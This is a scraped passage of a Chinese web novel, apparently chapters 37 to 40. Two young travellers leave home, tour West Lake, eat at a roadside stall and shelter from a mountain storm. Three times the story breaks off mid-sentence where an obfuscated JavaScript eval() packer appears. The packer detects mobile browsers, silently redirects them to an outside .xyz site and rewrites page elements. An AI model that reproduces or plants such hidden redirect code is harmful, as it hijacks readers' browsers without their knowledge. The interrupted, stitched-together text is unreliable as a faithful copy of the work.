吴中孚对家乡并无甚感情,且徐淑仪待他亲厚,他也逐渐将叶府当成了自己的家,因此回绝了歙县那边好几次。年前那边又去信一封,这回是他的父亲亲自写的,并还言明其已请来一位致仕的大儒,责令吴中孚速速归家。 徐淑仪拿着信看了又看,眉头越皱越深,这群势利眼,当初这孩子小小一只无人管的时候都是一副漠不关心的臭模样,如今见人取得了点成绩,就着急忙慌的喊人回去,简直可恶! 这孩子在她身边养了八九年,早就跟自己亲生的无甚区别,但是…唉,孝字当头,她这养母到底比不过血缘的牵扯。而且——徐淑仪又看了看吴父请的那位大儒的名字,致仕前乃是为皇帝皇子讲学的翰林学士,虽官阶不高,学问却是儒生公认的高峰,不知多少学子渴望能得他指点,吴父能请动这位老人家,也算是做了点好事。 徐淑仪看着坐在下首的少年,从看完信后这孩子就一直低垂着脑袋,神色晦暗,一句话也未讲过。她正想讲几句话宽慰两句,一句“孚哥儿”还未说完,只见少年起身直直跪到她的面前,郑重的给人磕了三个头。 徐淑仪急得连忙将人扶起,斥道:“你这孩子,好端端的磕什么头啊!别吓坏你伯母我!” 吴中孚朝其拱手道:“徐伯母待我如亲子,我也早将您视作我的生身母亲,孩儿不得已即将远行,不能侍奉在跟前,实在是不孝。” 几句话说得徐淑仪眼角泛起了泪花,摸着少年的头道:“我是个没子女缘的,这些年来,你和我亲生的孩子没有区别,只要你好,我怎么都成。” 一番话下来,少年也有些哽噎,他不会忘记当年徐伯母是如何将他从那个冷冰冰的家中接了回来,每日三餐问候,一并衣服用具也是她亲自打点,知他好读书,费尽心思为他搜罗各类刻本,见他寡言少语,怕将他闷坏,想尽办法陪他游戏,如此这般,他怎能不感激? 吴中孚递给徐淑仪一方鲛帕,又道:“我打算过完年再走,届时和明姐姐一路吧。” 徐淑仪“啊”了一声,道:“这感情好啊,那赵家也在歙县,你俩刚好同路,姐弟俩有伴也可以互相照应,我和你静姨也能放心些。” 次日明夷得知了这个消息,将手中的笔搁到笔山上,转头对着吴中孚高兴道:“你和我一路吗?这敢情好啊,我还怕到时候去了歙县人生地不熟的,万一遭人骗了可咋整,有你这个地头蛇在就放心了。” 吴中孚放下手中的书,弱弱道:“我离家时不过六岁,很多东西也记不清了,明姐姐还是不要对我抱那么多期望,免得到时候……” “没事!”明夷摆摆手道:“重要的是有人作伴!路上吃饭还能多点几个菜诶嘿。” 见少女一脸兴奋的模样,吴中孚无奈地笑了笑,又道:“我回头找我那几个同学推荐几个路上的饭馆,咱们届时一路吃过去。” 明夷点头,“这好啊!我们到时候早些出发,路上还可以多玩几天,到时候我们可以先拐到西湖转转,我要去瞧瞧东坡先生修的“苏堤春晓”,还要去西湖上游船,然后再……” 明夷絮絮叨叨地畅想着自己的旅游计划,吴中孚撑着桌子外歪头看着少女,似是被其快乐的情绪感染般,心里一下多出了许多期待。 为确保两个孩子此行一路顺遂,徐、顾两位夫人特意请了阴阳先生来看黄历,将出发日期定在了三月十日。开年之后,徐夫人早早就将两人需要的路引、名帖等文书备下了,除了打点自己的行装,明夷可谓是没操过一点心。 然儿行千里母担忧,这句话可以说是老生常谈到老生常谈这个词都是老生常谈了。 明夷认为出门在外,行李轻便即可,两方水土不同,缺啥少啥可以届时到了再置。而顾静翕认为,宁可错杀一百也不许放过一个,万一什么时候就需要这个那个东西了呢? 再说,自己的东西用得妥当,你初去别人家,总得有几套拿得出手的衣裳首饰不是?有道是先敬罗衣后敬人,新做衣裳不知还要等多久。另外,你从未出过如此远门,万一水土不服生病可怎么办?到了歙县可还能请大夫医治,若在路上却是十分不便的。徽州与这边食物风味也不大相同,若是吃不惯也会难受,所以还是…… 所以还是收十四五个木箱。 明夷有些崩溃地看着顾静翕十分起劲的指挥着几个小丫鬟收这装那,仿佛要将整个家搬空半个不成!四季衣裳占了七八个箱子,钗环首饰也占了一个,各色草药也装一个,顾静翕秘制的罐头、或风干或盐腌的土特产、路上零嘴干粮等也不知带了多少,满满当当塞了一个半箱子,再并明夷自己收的两箱书和古琴一架,知道的以为是去外地上班,不知道的以为她家要嫁女儿了,正收拾嫁妆呢。 明夷无法在言语上阻止母亲,决定用行动来捍卫自己的行李重量,捊起袖子拢好裙子,一个个开箱查看,将不必要地物什统统拿出来。 只能说不看不知道,一看吓一跳,明夷第五次有些无语地喊道:“娘亲,你怎么连茶具都要备三套啊!” 顾静翕坐在香妃榻上,讪讪道:“这不是想着万一路上磕着碰着了你好有的换的嘛。” “那也用不上整整三套啊俺的亲娘嘞!坏了一个换一个就成了,用不着换一套啊。” 顾静翕不赞同道:“不成,不美观。” 明夷觉得自己有些绝望,才才开了不到半数的箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我就是害怕她要用的时候没有嘛。”顾静翕小声嘀咕。 徐淑仪拉过友人的手拍了拍,“我知你一片慈母心肠,只是凡是讲个度不是呢?孚哥儿那才收了五个箱子,其中一半多都是他的书,我也担心不够,但想想,到了歙县什么买不着?” “可是!”顾静翕着急打断道,“孚哥儿那总归是回自己家,明儿却是上别人家呀。” 徐淑仪又道:“是这样没错,所以明儿最后不还是收了七八个箱子吗,你再多给些银钱,这可比什么都好使,而且吴叶两家相邻,我也去信给吴家夫人,届时拜托她帮忙多多关照一下明丫头。” “银钱我自是给明儿备得足足的,不用我说,这小财迷自己最先收的就是银子。至于后头那个,你什么时候写得信?” “随着孚哥儿的信一并寄过去的。”徐淑仪“欸”了一声,继续道:“我没和你说吗?” 顾静翕摇头,“事关明儿,你若是说了我肯定记得。” 徐淑仪有些懊恼地扶了扶鬓角,“我以为我和你说了,嗳…感觉近些年忘性愈来愈大了。” 顾静翕也有些共鸣,道:“孩子们都长大了,咱们都要成老太婆啦。” 徐淑仪看着眼前人鬓边多添的几道银丝,故作生气道:“不许你这么说啊,咱们现在也是风华正茂的年纪。” 顾静翕直接笑倒,趴在友人的膝头,半天直不起腰来。 徐淑仪也有些感慨,“孩子们大了倒的确是真的,大了,有主意了,咱们这些做娘的,还是少赶上去讨嫌为妙。” 38. 游西湖 明夷事后回想,觉得自己拒绝得太过生硬,母亲也是为了她好,她这样也着实有些不对。 待顾静翕从叶府回来,就看见明夷小猫一样趴在她房间的八仙桌上,暖黄的烛光映在她白瓷般的侧脸,懒懒守着一个冒着热气的小炉。 “这是?” 还不待顾静翕问完,明夷就已经扑上去将她一把抱住。少女身量已经长得很高了,顾静翕被女儿揽在肩头,一时有些发愣,这又是怎么回事? 明夷拉着母亲在桌边坐下,将桌上煨着的青花瓷铃铛盅端到顾静翕面前,道:“我特意为娘亲做的芙蓉奶羹,还往里头加了点姜汁,冬日里吃最是驱寒暖胃。” 顾静翕笑着接过,低头尝了一口,赞叹道:“初初入口就尝到了一股子姜汁的辛辣味,然又很快被牛乳的温和给补足了,的确很适合在这冰天雪地的天里来上一碗,明儿自己吃了没?” 明夷双手托腮看着母亲,道:“我方才做的时候就吃过一碗了,这是专门给娘亲留的。” 顾静翕又吃了几口,才放下银匙道:“怎么突然想到做这个?收拾东西本就劳累,还不好好歇着?” 明夷将凳子往母亲身边挪了挪,靠着她亲昵道:“明儿是来请罪的,娘亲对不起,我知你是担心我,我不该如此拒绝您的好意。” 顾静翕也没想到竟是因为这事,眼眶一热顿时有些想哭,揽住女儿的肩膀道:“我儿怎的这般惹人心疼,让娘亲该如何是好啊!” 明夷侧身环住母亲的腰,又道:“离出发的日子愈近一分,我心里的期待就愈少一分,对娘亲的不舍就多了非常多分,我实在是舍不得您…娘……” 少女说到最后,声音已经裹上了哭腔,顾静翕又何尝不是呢?母女俩从未分开过,如今女儿一下子离家那么远,又归期未定,就连寄封信出去也要十天半个月才能有回音,光是想想,她都觉得肝肠寸断。 母女俩抱作一团,痛痛快快地哭了一通,第二日徐淑仪来串门子,看见两人红肿的双眼,又是打趣了一番,吴中孚站在旁边,挺着胸脯信誓旦旦的朝顾静翕保证,自己一定会照顾好明夷。 顾静翕噗嗤一笑,拉过少年,抚着其白皙的脸庞道:“你是弟弟,哪有让弟弟照顾姐姐的道理?” 边说着又看向明夷,道:“不用你俩谁独照顾谁,而是应该互相照顾。我和徐姐姐跟亲姊妹无甚区别,你俩也就如亲姐弟一般,出门在外,一定要互相照顾,万不可产生嫌隙。” 两人一齐点了点头,众人又说笑几句,便一齐进屋吃饭。 接下来一段日子,对明夷来说就像上辈子开学前的一星期,恨不得一天掰成两天过,死死抓着不让时间溜走。但或许越是努力感受,越是紧抓不放,日子就过得越快,做下出发这一决定仿佛就在昨天,现在竟真的要上路了。 三月十日清晨,一辆拱顶的青幔马车早早在母女俩家门口候着了,一应行李早已在昨天装好,明夷只随身带了个小木箱放在脚边,里头只装着几件路上换洗的衣裙和一些干粮。 无论是马车还是车夫都是顾、徐两位夫人严选。车夫是徽州籍的老把式,马匹也专门挑的齿龄四岁的青骢马。春季多雨水,车顶特意遮了三层浸了桐油的油布,并备了几把竹骨油伞,又因明夷易招蚊虫,在马车四角都挂艾草香包。 明夷拜别母亲,带着麦冬上了马车,里头布置一应俱全,处处透露着母亲的细致,明夷本就没止住的眼泪又哗哗地留得更多。向上推开车窗,隔着外罩的绿纱窗屉,母女俩一前一后,目送着对方远去。 马车先来到叶府与吴中孚会和,然后再一齐上路。从钱塘到歙县,第一站其实是临安,但明夷无甚兴趣,且非常想去西湖,便和车夫说了往仁和县的方向走,不到两个时辰,就到了碧波荡漾的西湖。 由于邻近中午,两人先在西湖十景之一,“柳浪闻莺”畔的醉仙楼里要了个雅间吃饭。春日柳絮纷飞,明夷知道自己是有鼻炎的,所以格外注意,头上戴的青纱帷帽专门缝了薄绢衬里,防止这柳絮扰人。 吴中孚先跳下了马车,与醉仙楼的掌柜定好房间后,才去请明夷下车。待进了屋子,麦冬将门阖好,明夷把帷帽摘下来交由麦冬挂好,饶有兴趣的打量起这雅间的装潢。 只见摆在正中间的老红木八仙桌上铺着秋香色的暗云纹锦缎,四角各压了一个两指宽的蟾蜍样镇纸,乍一看有些突兀,许是用来防止湖风吹掀桌布的。 餐具摆的是粉彩过枝桃树纹盘配乌木包银箸,酒器用的是龙泉窑梅子青荷叶杯,缠枝莲博山炉焚着苏合香,辛香气烈,一下子就冲醒了明夷坐车坐的发昏的脑袋。 点菜时,拿着琳琅满目的菜单看得眼花缭乱,明夷不喜选择,便让吴中孚拿主意,少年一一报出同学推荐的菜肴,明夷只管点头就行。 唯独听到“醋溜鱼”时,少女面色一变,急忙道:“这个不行,不要,换一个。” 边说着边捡回菜单,眯着眼睛看了一圈,指道:“要这个,宋嫂鱼羹,我在《梦粱录》里头读到过。” 雕花槛窗外斜探一树垂丝海棠,花瓣打着旋儿落进荷叶杯中,远处画舫丝竹声裹着水汽徐徐飘来,少女闲适地靠在椅背上,微斜着脑袋享受着这精致的早春湖景。 明夷发现,在外头吃酒楼,但凡有些名气的,上菜都慢得很,这回又是等了近两刻钟,看着湖上的鸳鸯并肩游了两圈有余,菜肴才姗姗来迟。 龙井虾仁可谓是西湖边上大小食肆都有的一道菜,乃是用现剥河虾仁裹葛粉急炒,起锅前再洒狮峰龙井嫩芽,多炒一分就老,少一分则湿,是非常讲究火候的一道家常菜。明夷带着老饕的心态举箸尝了一口,虾仁清脆弹牙,茶香清新怡人,醉仙楼的师傅功夫到位。 宋嫂鱼羹则是南夏时的名菜了,相传这位宋嫂原是北夏汴京的一位民间厨娘,因擅制鱼羹在当地颇有名气。然由于国家不敌北边游牧民族,被迫南迁,宋嫂一家也跟着搬到了这西湖边上继续以卖鱼羹为生。后遇上游船的皇帝,一碗鱼羹勾起其乡情,于是对宋嫂大为褒奖,“宋嫂鱼羹”也因此名声大噪,流传成一段佳话。 具体做法其实已不可考,现下常见的做法乃是将鳜鱼剔骨 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明夷伸手接过,只见青瓷碗里头莼菜卷如婴儿拳,汤色清似虎跑水,东珠似的鱼丸在里头上下沉浮,低头吃了一口,果真如吴中孚所说,与平日吃得那些细滑的鱼丸不同,嚼起来有很明显的颗粒感,非常有劲,也更弹,口感十分丰富,风味比一般更甚。 少女满意地抬起头,娇娇地笑了一声,不依不饶道:“以为这就揭过啦?嗯?酒先还来。” 吴中孚瞥见明夷方才吹散汤面热气时鼻尖凝的细密水珠,一时觉得有些脸热,低头将荷叶杯给人递了过去,又转头望向窗外的粼粼波光。 饭后游湖,因刚刚下了一阵小雨,苏堤六桥浸在湿漉漉的雾气里,两岸垂柳新抽的嫩条垂到水面,桃花嫣红立在一片碧绿中,银盆似的湖面上,飞英蘸波,纷披掩映,如列锦铺绣。 行至跨虹桥,明夷倚着青苔斑驳的桥栏,将随身带的麻烘糕捻碎抛向水面,本意是喂鱼,却不想引得几只白鹭争食,使得原先浮出的几条青鱼也一下不见了踪影。 逛到堤中最高的压堤桥,其将西湖分南北,看游船东去西来,明夷如愿以偿喂到了团团的红鲤,看着那一条条肚皮溜圆的锦鲤抢食,激出大大小小的水花,不禁在心里暗暗腹诽,这千年前的鱼和千年后的真是无甚区别,统统都被人喂的只能以“辆”来作计量单位,用“车”来做形容词语。 两人慢慢向前,石阶缝隙钻出了簇簇二月兰,紫色的花瓣就算无风也盈盈舞动。明夷拎起裙角蹲身细看,忽见阶上有几枚蹄印大小的凹坑,积着雨水竟成天然小镜,映出她发间的胡姬兰与半幅蓝天。 二月兰无处不在,只要有空隙的地方,就有一团紫气。不知怎的,明夷突然想到了一段话: 二月兰是不会变的,世事沧桑,于它如浮云,然而我却是在变的……紫色的小花不懂悲欢离合,它们只沉默的看着,兀自笑对春风,紫气直冲霄汉。 少女微微叹了口气,要是人人都能如二月兰般,会不会少一些忧思呢? 39. 途中遇险 青幔马车内,厢壁燃着一盏琉璃灯,明夷盘腿坐在狐腋毛毯上,一手倚着抽拉式的核桃木小几,一手拿着一卷《西湖志》在读,书页里还夹着昨日采下的一朵二月兰,不过才夹书里一晚上,就已经十分平整了,颜色却依旧鲜艳。 早春微雨,官道旁野樱吹雪,车辙碾过满地零落花瓣,辘辘声惊起路边几只捡食的小雀。晃晃悠悠的马车突然停了下来,吴中孚跳下马车,往后走到明夷处,屈指轻叩厢壁,“明姐姐可闻见什么香气?咱们前头该到富阳了。” 明夷推开车窗,丝丝细雨斜入,几点湿痕洇在侧脸,凉凉的,吸了吸鼻子道:“好像是槐花蒸饭的味道,孙师傅刚刚说前头的稼村驿有个老店,这个季节还有荠菜粑粑吃,这是要到了吗?” 吴中孚点点头,往前指了指,“再行不到一刻钟就是了,中午在稼村驿吃了,马车就一直走到富阳。” 明夷探头看了下,濛濛春雨似雾一样,罩着视线什么也瞧不清,只得悻悻作罢,回头看见吴中孚微湿的肩膀,忙递了块帕子出去,嗔道:“怎么打的伞呀?瞧瞧,衣服都湿了半边。” 吴中孚接过手帕,眯眼估量了一下雨势,叮嘱道:“等会车停了姐姐先别下来,等我去我车上拿把大些的伞过来。” 稼村驿站十分简陋,也就几间小小的砖瓦房,官道岔口古樟树下,支着一个搭着褐色布棚的小摊,棚顶挂了块褪色的靛蓝布幡,上写着“七里香”几个大字,树根处用青石垒了一个半人高的土灶,上头架着一口大铁锅,正是孙师傅刚刚提到的那家老店。 春天的雨让人摸不着头脑,明明刚刚还有下大的趋势,现在却已经停了个干净,只有空气中还带着潮湿微凉的气味,明夷扶着麦冬小心翼翼的避过大小水坑,与吴中孚在一方小木桌处面对面坐下。 摊主是位跛足老妪,葛布夹袄外系着靛染的围裙,腰间别着一把木勺,正用长柄竹夹翻动着锅里油滋滋的粑粑。 摊主的小孙女端过来两碗用粗陶碗盛着的滚烫豆浆,小女孩看着只有六七岁的模样,虽两手端着东西,脚步却稳健得很。明夷过意不去赶紧站起来想去接,却看见旁边吴中孚先她一步,走上前将豆浆从小女孩手里接了过来。 小女孩看了看吴中孚,眼睛睁得大大的,少年对她笑了笑,女孩似乎有些害羞,指了指灶台旁边的一张长桌,小小声道:“那边有加在豆浆里吃的小菜,你们自己去挑喜欢的。” 见吴中孚端着豆浆回来,明夷好奇道:“刚刚那小姑娘和你说了些什么?” 吴中孚将豆浆搁在明夷面前,道:“她说前边有小菜,让我们自己去拿。” “加豆浆里的?” 吴中孚点点头,“一起去吗?” 明夷面露难色,她只喝过甜豆浆,但是吧,也不是不能尝试,遂道:“走吧。” 小菜主要是腌过的鲜笋丁、紫菜碎、虾皮和辣酱,明夷每个都加了点,拿起勺子搅了搅,低头喝了一口,有点咸豆花的味道,豆味很浓,还不错。仔细又尝了一口,抬头对吴中孚说道:“这辣酱里掺了炒香的苋菜籽,用来佐饭炒菜肯定味道也很好,等会咱们买一点带走。” 两人豆浆才喝了半碗,小女孩又端了笼荠菜蒸饺上来,饺子包成柳叶的形状,透出青碧馅色,屉笼垫着新鲜的箬叶,蘸一点米醋,酸味夹着荠菜的野香混着热汽冲上鼻腔,香的人舌头都要咬掉了。 老妪那边用湿布抱着手揭开了竹屉笼,白汽裹着甜香直扑人脸,直接连着竹屉整个端到明夷他们桌上。糯米饭莹润如玉,其间洒着未褪青萼的槐花,半透明的嫩黄花瓣夹在饭粒间,还铺了层焯过水的槐叶,碧莹莹的蜷成小舟模样。 一勺入口,先尝到的是裹着柴火香味的绵密糯米,待嚼碎槐花,清甜倏然在齿间绽开,似嚼了一捧带露的春雾。而蒸透的槐叶微带韧劲,渗出些许艾草般的苦味,恰好中和了糯米的黏腻。老妪从陶瓮里舀了一勺腌渍的嫩姜芽给明夷他们佐饭,黄色的姜汁渗入饭粒,酸爽的味道激得人眉梢一跳。 好戏还没上完,明夷端着碗走到土灶旁,看见老妪舀了一勺菜籽油淋在在生铁鏊子上,见明夷走近了,连忙呼道:“姑娘快走远些,莫被油溅到了。” 明夷依言后退了几步,看见老妪揭开粘板上的湿布,上面整整齐齐码着数十个巴掌大的扁圆饼,好奇道:“这是用什么做的?” 老妪一边往铁鏊上下饼子,一边回答道:“糯米磨成粉,然后加水揉成团,再加上剁碎了的荠菜,用菜籽油一煎,香得很。” 锅里的粑粑已至两面金黄,边缘翘起荷叶似的卷边,焦脆处泛着油亮的纹理,中央却仍是青翠欲滴的荠菜色,明夷吸了吸鼻子,竖起大拇指道:“香得很!” 老妪乐呵呵地夹了一块,示意明夷靠近,少女连忙将碗里的槐花饭刨尽,鼓囊着腮帮子嚼嚼嚼,双手捧碗,满脸开心地拥了上去。 刚出锅的饼子烫嘴得很,小口咬破酥壳,外层的油脆里头是软韧的面团,荠菜本身的甜味与糯米混合后变得更加柔和,齿尖碾碎荠菜茎叶时,又迸出些许清苦汁水,但马上被糯米的回甘缓缓抚平。 明夷端着碗和老妪一起回到桌边,吴中孚瞟了一眼叠在敞口粗陶碗里的荠菜粑粑,又看了看站在旁边的明夷,少女用指缝夹着筷子,单手抓碗,弯起眉眼比了个大拇指,少年瞬间了然,笑着比了个“OK”的手势表示收到——这还是明夷教给他的。 临走时明夷找老妪买了两罐辣酱,老妪喊自己的小孙女过来帮忙,明夷循声看去,小女孩正蹲在樟树根边喂黄狗吃饺皮,双丫髻上插着一朵不知从哪里摘来的野蔷薇。 小女孩看了看祖母,又看了看小狗,明显舍不得。明夷冲女孩摆了摆手,示意她不用过来了,转头对老妪说道:“您告诉我怎么弄,让孩子顽去。” 老妪额头上的褶子皱得更深,面露无奈道:“这小妮子成天就知道顽,哪能让姑娘你动手,我来就好。” 明夷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613414|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没坚持,只是把麦冬叫来耳语两句,自己仍站在旁边,看着老妪从下头箱子里翻出两个巴掌大的大肚陶罐出来给她装辣酱。 吴中孚上前来接过装好的辣酱,明夷接过麦冬拿来的油纸包走到樟树下,蹲到小女孩旁边,将手上东西递过去,笑眯眯道:“给你的,打开看看喜不喜欢?” 小女孩表情有些迟疑,但看了看明夷满脸亲和的样子,还是怯生生地说了声谢谢,然后接过油纸包打开。 只见里头装着好几只胖乎乎的金丝蜜枣和一些盐渍青梅,女孩表情瞬间欣喜,指着金丝蜜枣道:“我见过一些客人吃这个,闻着特别甜!” 明夷笑容更甚,“哇,那你赶紧尝尝,看看是不是和闻着的一样甜?” 女孩小心翼翼地拈了颗大枣,正要放进自己嘴里时,忽然想到什么,一下子站了起来,蹬蹬跑到老妪旁边,将枣子放到祖母手里,道:“祖母吃枣子!” 老妪接过蜜枣,爱怜地摸了摸小孙女的头,祖孙俩一人一枣啃得和乐融融。 又过了几天,马车行驶在昱岭关盘山驿道上,明明才到巳时,天空却阴沉如傍晚,浓烈的风止不住得嘶吼。铅云似浸湿的棉絮般好像要从空中坠落,山风裹着土腥气掠过崖壁,马车四角挂着的艾草香囊直直被刮走了三个,道旁野樱被雨打落,粉白花瓣黏在泥土间,四方鸟雀无影踪,车夫头上的斗笠也差点被掀飞。 前方黄褐色的泥浆顺着山道蜿蜒流下,明夷所乘的青幔马车忽地一沉,原是风雨迷了车夫和马匹的眼睛,一不留神,车的左轮卡进石缝,青骢马扬蹄嘶鸣,车夫缰绳差点脱手,整个车身瞬间斜倾。 “抓稳厢柱!”明夷半个身子悬在厢门边,一边死死抓住厢内直柱,一边对麦冬喊道。 吴中孚听到后面成动静,赶忙示意车夫停车,带着小厮直奔明夷那边,厉声喝道:“卸马!抬木杆!” 两个小厮并车夫扑跪在泥浆里,肩扛木杠抵住倾侧的车厢,吴中孚绕到一边徒手去扳卡死的轮轴,忽然听到一声裂响,倾斜的车身总算被扶正,马匹在一边止不住的嘶鸣,车夫套上蓑衣前去安抚。 吴中孚一把拉开厢门,焦急道:“你们没事吧!” 刚经过一遭,明夷惊魂未定,看见门外少年身上的鸦青直裰吸饱了雨水紧贴着腰背,额前密密滴下水珠,赶紧一把将人拉进车内,掏出两块帕子给人擦脸,担心道:“不要命了!这么危险怎么能随便下车,没看见前边滚下的山石断木吗!” 吴中孚身体僵硬,仍由明夷抓着帕子在他脸上身上乱抹,喉结滚动两圈,正想说点什么,突然后方山壁传来“轰隆”几声裂响,磨盘大的石块裹着断木滚落,狠狠砸在驿道上,将退路彻底堵死。 车夫瘫坐一旁,在嘈杂的雨声中朝明夷他们大喊:“前头塌了半幅路,现在后面也被堵死了,过不得也退不得……” 话音未落,又一道闪电劈开云层,伴随着轰隆的雷鸣,映得众人面色惨白如纸。 40. 避险 雨越下越大,伴随着雷电轰鸣,山上否管多粗的树,全都被狂风吹得左右摇摆,仿佛下一秒就要被连根拔起。雨水稀释着平日里牢靠的土壤,一股脑地顺着陡峭的崖壁流出一条黄浆,碎石在浊流中翻滚碰撞,隐隐有奔腾的架势。 空中旋转飞舞着粗细不等的断枝败叶,还夹带被扬起的湿润砂石,眼下前后路不通,泥石流山体滑坡随时可能将车马人吞没,若执意守在驿道上,恐怕有性命之虞。 幸亏两位车夫是这徽杭古道的老客,慌乱之后又迅速镇定下来,对着车内的明夷几人道:“少爷小姐,现下我们肯定是走不了,这儿又紧邻山壁,瞧着这雨的架势,恐怕会有泥石流。我记得前头有一凹洞,能容纳十余人,平日经常会有过路车马在此处休息,烦请大家一起过去避避先吧。” 明夷扬声答应,只是前方被泥流碎石堵了一半,马车无法通过,只得步行。两位车夫将几匹马牵在手中,吴中孚也随小厮回到自己车内披带雨具、收拾物什。麦冬怕明夷淋湿,给人前后系了两件蓑衣,随后又拿出防水油布帮明夷系在鞋袜外头。 明夷由着麦冬动作,只觉得自己现在非常像一个麦秸堆,但若等会进入岩洞,四周皆是外男,衣服若是淋湿恐生事端,还是保险为妙。 为此,待麦冬忙活完自己,明夷坚持让麦冬与她做一样打扮,收拾妥当之后,主仆俩才提着小布包下了车。 几个男子一前一后将两个移动麦秸堆护在中间,狂风之下油伞也打不了,只得用手压着头上的斗笠,向岩洞缓缓移动。 岩洞深凹于山壁,刚好形成一个背风处,入口被几丛从山壁上垂下的野蔷薇掩着,洞顶垂落的藤蔓上还挂着几串不知名的红色浆果。 洞内约有一间厢房大小,形似一个葫芦,里头还有一块空地,比外头小一半。东侧岩壁布满蜂窝状的孔洞,雨水顺着石缝渗入,在低洼处汇成一道清浅细流。西面有块平坦的石板,表面覆着层干枯稻草,应是过往旅人歇脚所留。 众人自觉将里头那块空地让给明夷主仆,两个麦秸堆一进去就先将身上的蓑衣脱了下来铺在地上。该说不说,顾静翕准备的蓑衣质量真不错,防水效能堪称一绝,外头沾的雨水抖下来都能集满一鱼缸,里头却一点也没湿,更别说两人身上的衣物了。 外头虽是一派大雨倾盆、电闪雷鸣,明夷身上却还算干干爽爽,于此,明夷只想给自己亲娘磕一个,妈妈妈妈,离了你她可怎么办啊…… 车夫老孙摘下斗笠甩水,将马匹栓在洞口,又拿了些草料放在一边。忙乎完手里的活,又低头从褡裢里掏出个油纸包,递给众人,“这是前日买的梅干菜炊饼,各位先垫垫肚子。” 孙师傅掰着饼絮叨:“二十年前我跑这条道,遇过更大的雨,当时山洪冲垮了五里外的石桥,十多辆车在山腰困了三天两夜。” 明夷闻言瞪圆了眼睛,“那怎么办?” 老孙无奈道:“等呗,幸亏我们这些跑惯了的,干粮和水都带足了。当时有个徽州茶商还带着整套茶具,愣是在泥地里煮茶分给大家。他说啊,人慌神,茶气定。” 众人听了皆是放松一笑,甚至还有人打趣说咱们也该整壶茶喝喝。 等待的过程总是漫长,刚刚的心惊胆战和着洞内的滴水声,一点点恢复平静,然随之而来的就是无聊。 明夷待着待着就坐不住了,本来成天赶路就是坐,现在又坐了好一会儿,她实在是坐的腰酸背痛,为了自己的屁股,于是乎,站起来在山洞里到处转悠,各个角落扒着看,转了一圈,倒还收获了点意外之喜。 明夷喊来麦冬,指着角落里那一从叶片形似滴水观音,正面绿背面紫的倔强野菜道:“瞧!我发现一丛折耳根!” 麦冬定睛一看,果然是的。 “快快,咱们把它们挖走,等出去了找个地方凉拌!焯水拌盐,再加点香油麻油和醋,还有小米辣和芫荽……”边说着,仿佛那股辛辣味已经溢满口腔,明夷觉得自己口水都要流下来了。 麦冬无奈地看了眼正对着那从折耳根虎视眈眈的小姐,这种时候还想着…唉,不说了,她其实也挺想的。主仆俩从头上挑了根结实点的簪子就立马蹲下吭哧吭哧开挖,边挖边感慨,难怪这能长折耳根,这堆土积得还挺深,挖半天都挖不到底,倒还钻出来几条泥鳅和蜈蚣。 看见蜈蚣时,明夷吓得大喊一声,把外面的吴中孚招了进来,少年一脸焦急道:“怎么了明姐姐?是遇…呃,你们在干什么?” 少女连忙把少年推上前,将簪子塞到其手里,害怕道:“快!那里有只蜈蚣,把它杀掉,姐姐挖折耳根给你吃!” 吴中孚看着手里那根沾满泥土的玉兰簪,一幅被哽住的表情,侧头看了看躲在他背后害怕得只露出个脑袋,眼神却依旧对着地上野菜流连不舍的明夷,好歹憋住笑意,将簪子塞还明夷,径直蹲下将那作乱的蜈蚣徒手捏起,在明夷佩服的目光中走到外头一把扔出洞外。 明夷其实也没有很怕虫,曾经她可是她们宿舍打蟑螂的一把好手,甚至还被隔壁宿舍荣聘过,后续更是发展到,哪个宿舍有蟑螂,栋群吼一声,马上就有人艾特她,可想而知,她打蟑螂的技术是多么的受人肯定。只是天王菩萨啊,她有点那什么…嗯,密集恐惧症,最怕这种多足长虫,光是想到就要起鸡皮疙瘩那种,应付不来,实在应付不来。 虽受到蜈蚣恐吓,但折耳根的吸引力还是更大些,因着前车之鉴,明夷特意把吴中孚叫到旁边看着她挖,若是出场可疑长虫,立马像刚刚那样对它处以极刑。 吴中孚无奈地蹲在旁边,看着主仆两人一人一簪,对着那从折耳根挖得热火朝天。明夷挖得仔细,小心翼翼确保根系完整不断,连着挖出好几条小臂长的折耳根,双眼弯成月牙,漏着嘴角的小梨涡,喜滋滋地拿给吴中孚献宝。 吴中孚很给力,一个劲得顺毛夸,给足了情绪价值,仿佛少女挖得是什么天材地宝。明夷得到鼓励,劲头更甚,簪子凿得更加用力。 只见少女捊起的袖子露出一截玉藕似的小臂,腕上的虾须镯随着动作叮当作响,山洞光线虽暗,但那抹雪白却晃眼的要命,少年脑海里无端涌上一句词:“垆边人似月,皓腕凝霜雪。” 道家倡导凡事都有正反两面,洞外依旧下着仿佛要把天地淹没的暴雨,洞内众人龟缩在此,惶惶不知前路几何,他却突然有些愉悦,就这样静静的,他与她相隔不到半步,仿佛一抬手就能触碰到她的衣角…… 不知过了几个时辰,洞顶水帘渐稀,洞外风声渐小,孙师傅出去看了一眼,回头对众人道:“雨停了,看样子应该一时半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15624640|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿不会再下,咱们最好趁着日头还在,赶紧下山,不过……” 